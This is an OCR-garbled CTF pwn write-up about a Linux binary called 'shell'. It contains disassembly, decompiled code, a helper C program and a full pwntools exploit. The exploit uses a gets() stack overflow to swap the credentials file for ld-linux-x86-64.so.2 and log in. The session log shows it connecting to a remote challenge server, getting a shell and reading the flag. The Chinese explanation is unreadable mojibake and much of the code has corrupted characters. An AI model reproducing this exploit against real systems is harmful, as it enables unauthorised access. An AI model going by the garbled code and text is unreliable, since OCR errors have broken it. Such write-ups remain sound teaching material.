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[*] "/ctf/work/python/shell/shell’
Arch: amd64-64-1little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
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[F] Functions window

o)

Function name

[7] _system

[F] _printf

[¥] __libc_start_main
[7] _stremp

[¥] __gmon_start__
[F] _gets

[7] _setvbuf

[7] _fopen

[F] _strtok

[7] _getline

[F] _exit

[F] _start

[¥] deregister_tm_clones

[#] register_tm_clones

[F] _do_global_dtors_aux

[7] frame_dummy
[F] sh

[F] whoami

[F] date

[F] exit_

[Flls

[F] help

[F] command_get
| 7] main

[F] _libe_csu_init
[F] _libc_csu_fini
[F] _term_proc

[7] free

[7] puts

[7] fclose

[F] _stack_chk_fail
[¥] system

[#] printf

[¥] _libc_start_main
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x 15 DA View-A ©®[C]  Hex View-1 <] Structu
0000000000400B80 ; int _ cdecl main(int argc, const char **argv, const char **envp)
0000000000400B80 public main
0000000000400B80 main proc near ; DATA XREF: start+1DTo
0000000000400B80
0000000000400B80 var_FO = dword ptr -0F0h
0000000000400B80 var EC = dword ptr -0ECh
0000000000400B80 var_E8 = dword ptr -0E8h
0000000000400B80 var_ E4 = dword ptr -0E4h
0000000000400B80 var_ EO = dword ptr -0EOh
0000000000400B80 var DC = dword ptr -0DCh
0000000000400B80 var_D8 = dword ptr -0D8h
0000000000400B80 var_ D4 = dword ptr -0D4h
0000000000400B80 var_ DO = dword ptr -0D0Oh
0000000000400B80 var CC = dword ptr -0CCh
0000000000400B80 var C8 = dword ptr -0C8h
0000000000400B80 var_ C4 = dword ptr -0C4h
0000000000400B80 var_CO = gword ptr -0COh
0000000000400B80 var B8 = gword ptr -0B8h
0000000000400B80 s2 = gword ptr -0BOh
0000000000400B80 n = gword ptr -0A8h
0000000000400B80 var_ A0 = gword ptr -0AOh
0000000000400B80 lineptr = gword ptr -98h
0000000000400B80 stream = gword ptr -90h
0000000000400B80 var_ 81 = byte ptr -81h
0000000000400B80 var_ 80 = dword ptr -80h
0000000000400B80 filename = gword ptr -18h
0000000000400B80 var_ 10 = gword ptr -10h
0000000000400B80 var_B8 = dword ptr -8
0000000000400B80 var 4 = dword ptr -4
0000000000400B80
0000000000400B80 ; _ unwind {
0000000000400B80 push rbp
0000000000400B81 mov rbp, rsp
0000000000400B84 sub rsp, 0F0h
0000000000400B8B xor eax, eax
0000000000400B8D mov ecx, eax ; n
0000000000400B8F mov edx, 2 ; modes
0000000000400B94 mov r8, offset aCredsTxt ; '"creds.txt"
0000000000400B9E mov [rbpt+var_ 4], 0
0000000000400BAS5 mov [rbptvar 8], edi
0000000000400BA8 mov [rbptvar 10], rsi
0000000000400BAC mov [rbptfilename], r8
0000000000400BB0O mov [rbp+var_80], 0
0000000000400BB7 mov rdi, ds:_ bss_start ; stream
0000000000400BBF mov rsi, rex ; buf
0000000000400BC2 call _setvbuf
0000000000400BC7 mov [rbpt+var_81], 24h
0000000000400BCE mov [rbptvar C4], eax
0000000000400BD4
0000000000400BD4 loc_400BD4: ; CODE XREF: main:loc 400EBF4i
0000000000400BD4 mov rdi, offset aC ; "%c "
0000000000400BDE movsx esi, [rbptvar 81]
0000000000400BES mov al, 0
0000000000400BE7 call _printf
0000000000400BEC lea rdi, [rbp+var 80]
0000000000400BF0 add rdi, 44h
0000000000400BF7 mov [rbp+var_C8], eax
0000000000400BFD mov al, 0
0000000000400BFF call _gets
0000000000400C04 lea rdi, [rbptvar 80]
0000000000400C08 add rdi, 44h ; sl
0000000000400COF mov esi, offset s2 ; "login"
0000000000400C14 mov [rbptvar_ CC], eax
0000000000400C1A call _stremp
0000000000400C1F cmp eax, 0
0000000000400C24 jnz loc_400E31
0000000000400C2A mov rdi, offset aUsername ; "Username: "
0000000000400C34 mov al, 0
0000000000400C36 call _printf
0000000000400C3B lea rdi, [rbptvar 80]
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00000B80 0000000000400B80: main (Synchronized with Hex View-1)

int __cdecl _ _noreturn main(int argc, const char **argv, const char **envp)

{

// eax
va; //
//
//
//

int v3;
__int64
__int64
__int64
__int64

Vv5;
V6;
v7;

[rsp+6h] [rbp-Foh]
[rsp+8h] [rbp-E8h]
[rsp+106h] [rbp-EGh]
[rsp+18h] [rbp-D8h]

const char **addr_cmd; // [rsp+30h] [rbp-Coh]

const char *szFileP;
const char *szFileU;

size t n; // [rsp+48h] [rbp-A8h]
__ssize_t nLenRead; // [rsp+506h] [rbp-A®h]
char *lineptr; // [rsp+58h] [rbp-98h]
FILE *stream; // [rsp+60h] [rbp-906h]

char szTip; //
int
int
int
int

char *filename;

szUsername;
szPassword;

[rsp+6Fh] [rbp-81h]

bAuth; // [rsp+706h] [rbp-806h]
// [rsp+74h] [rbp-7Ch]
// [rsp+94h] [rbp-5Ch]
szInput; // [rsp+B4h] [rbp-3Ch]

// [rsp+D8h] [rbp-18h]

// [rsp+38h] [rbp-B8h]
// [rsp+40h] [rbp-Boh]

const char **v21; // [rsp+E@h] [rbp-10h]
int v22; // [rsp+E8h] [rbp-8h]



int v23; // [rsp+ECh] [rbp-4h]

v23 = 0;
v22 = argc;
v21 = argv;
filename = "creds.txt";
bAuth 0;
szTip = '$";
setvbuf(_bss_start, OLL, 2, OLL);
while (1)
{
while ( 1)
{
printf("%c ", (unsigned int)szTip, v4, v5, v6, Vv7);
gets((__int64)&szInput);
if ( !strcmp((const char *)&szInput, "login") )
break;
addr_cmd = command_get((const char *)&szInput);
if ( addr_cmd )

{
if ( *((_DWORD *)addr_cmd + 4) != 1 || bAuth == 1 )
((void (__fastcall *)(int *, const char *))addr_cmd[1])(&szInput, "login");
else
HIDWORD(v4) = puts("Permission denied");
}
else
{
LODWORD(v4) = puts("Command not found");
¥

¥
printf("Username: ", "login");
HIDWORD(v7) = gets((__int64)&szUsername);
LODWORD(Vv7) printf("Password: ");
HIDWORD(V6) gets((__int64)&szPassword);
stream = fopen(filename, "r");
for ( lineptr = OLL; ; lineptr = OLL )
{
n = OLL;
nLenRead = getline(&lineptr, &n, stream);
if ( nLenRead < 0 )

{

free(lineptr);

goto LABEL_12;
}
lineptr[nLenRead - 1] = ©;
szFileU = strtok(lineptr, ":");
szFileP = strtok(eLL, ":");
if ( szFileU )

{
if ( szFileP && !strcmp((const char *)&szUsername, szFileU)
break;

}

free(lineptr);
}
v3 = puts("Authenticated!");
szTip = 35;
bAuth = 1;
LODWORD(v6) = v3;

LABEL_12:

SL / LhAao+Lk 1 a1\

&& !strcmp((const char *)&szPassword, s



1T ( UAULI = 1 )
HIDWORD(v5) = puts("Authentication failed!");
LODWORD(v5) = fclose(stream);
}
}

foetsHI R BFFAER MR Y, BRERIMAE

EHidaifk 78, KIABEERGES, REARESZRBERF, MOLHBRT, FEAEXHEAT.
B AR % fe 78 i filenamef Hutt, fEidafistring& O &EE—TF, KIWAFE XA Id-linux-x86-64.s0.2
WATH S RE B 87 5 filename ) bk 3% H0x400200

BATTF S BEBF XN, BNBENEFHEE—T A& usernameflipassword

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void)
{
FILE * fp;
char * line = NULL;
size_t len = 0;
ssize_t read;
fp = fopen("1ld-linux-x86-64.s0.2", "r");
if (fp == NULL)
exit(EXIT_FAILURE);
while ((read = getline(&line, &len, fp)) != -1)
{
// printf("%s", line);
char* szDup = strdup(line);

char *p = NULL;

int bFind = 9;

p = strtok(line, ":");
char *pl = NULL;

pl = strtok(NULL, ":");
if(p !'= NULL & pl1 != NULL)
{
printf("==>%s:%s", p, pl);
bFind = 1;

}

if(bFind == 1)
printf("++>%s\n", szDup);

free(szDup);

}

if (line)

free(line);
exit(EXIT_SUCCESS);
}
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root@mypwn:/ctf/work/python/shell# ./findstring

==> Version information:
++> Version information:

==>prelink checking: %s
++>prelink checking: %s

==>relocation processing: %s%s
++>relocation processing: %s%s

==>calling init: %s
++>calling init: %s

==>calling preinit: %s
++>calling preinit: %s

==>calling fini: %s [%lu]
++>calling fini: %s [%1lu]

==>conflict processing: %s
++>conflict processing: %s

==>runtime linker statistics:
++>runtime linker statistics:

==> total startup time in dynamic loader: %s
++> total startup time in dynamic loader: %s

==> number of relocations from cache: %lu
++> number of relocations from cache: %lu
==> number of relative relocations: %lu
++> number of relative relocations: %lu

==>WARNING: Unsupported flag value(s) of Ox%x in DT_FLAGS_1.
++>WARNING: Unsupported flag value(s) of Ox%x in DT_FLAGS_1.

=> entry: 0x%0*1x phdr++> entry: 0x%0*1x phdr: 0x%0*1x phnum: %*u

==>runtime linker statistics:
++>runtime linker statistics:

==> final number of relocations: %lu
++> final number of relocations: %lu

==>final number of relocations from cache: %lu
++>final number of relocations from cache: %1lu

R—NE AR, #iEpythonfIA T :



#coding:utf8
#!python
#!/usr/bin/env python

from pwn import *

context.log level = 'debug'

process_name = './shell'

# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote('111.198.29.45"', 42941)

elf = ELF(process_name)

# system_sh_addr = 0x400905
# pop_rdi_ret = 0x400f33
libc_file_addr = 0x400200

p.sendlineafter('$ ', 'A'*(0x3C-0x18) + p64(libc_file_addr))
p.sendlineafter('$ ', 'login')

p.sendlineafter('Username: ', 'prelink checking')

pause()

p.sendlineafter('Password: ', ' %s')

p.interactive()

PATERIT:

root@mypwn:/ctf/work/python/shell# python shell.py
[+] Opening connection to 111.198.29.45 on port 42941: Done
[DEBUG] PLT ©@x4006fc free

[DEBUG] PLT ©0x400710 puts

[DEBUG] PLT ©0x400720 fclose

[DEBUG] PLT 0x400730 _ stack_chk_fail

[DEBUG] PLT 0x400740 system

[DEBUG] PLT ©0x400750 printf

[DEBUG] PLT 0x400760 _ libc_start_main

[DEBUG] PLT ©0x400770 strcmp

[DEBUG] PLT 0x400780 _ gmon_start

[DEBUG] PLT 0x400790 gets

[DEBUG] PLT 0x4007a0 setvbuf

[DEBUG] PLT 0x4007b@ fopen

[DEBUG] PLT ©0x4007c0@ strtok

[DEBUG] PLT 0x4007d0 getline

[DEBUG] PLT 0x4007e0 exit

[*] '/ctf/work/python/shell/shell’

Arch: amd64-64-1little

RELRO: No RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x400000)
[DEBUG] Received 0x2 bytes:

P

[DEBUG] Sent ©@x2d bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AAAA|
*
00000020 41 41 41 41 00 02 40 00 0O 00 00 00 Oa |Appa| . .@- |- |-
0000002d



|[DEBUG] Received 0x11 bytes:
'Command not found'

[DEBUG] Received @x3 bytes:
"\n'
g

[DEBUG] Sent @x6 bytes:
"login\n'

[DEBUG] Received @xa bytes:
'Username: '

[DEBUG] Sent 0x11 bytes:
'prelink checking\n'

[*] Paused (press any to continue)

[DEBUG] Received @xa bytes:
'Password: '

[DEBUG] Sent ©@x4 bytes:
' %s\n'

[*] Switching to interactive mode

[DEBUG] Received @xe bytes:
'Authenticated!"’

Authenticated! [DEBUG] Received ©0x3 bytes:
"\n'
g

# $ sh

[DEBUG] Sent ©x3 bytes:
'sh\n'

$ sh

[DEBUG] Sent ©x3 bytes:
'sh\n'

$ 1s

[DEBUG] Sent ©x3 bytes:
'1s\n'

[DEBUG] Received ©x23 bytes:
"bin\n’
'dev\n'
"flag\n'
"lib\n'
'1ib32\n"
'1lib64\n"
'shell\n’

bin

dev

flag

1lib

1ib32

1lib64

shell

$ cat flag

[DEBUG] Sent ©x9 bytes:
'cat flag\n'

[DEBUG] Received ©x2d bytes:
'cyberpeace{6ead2b810d6eb8f605a7c153calc5044}\n'

cyberpeace{6ead2b810d6eb8f605a7c153calc5044}

PAT BT -
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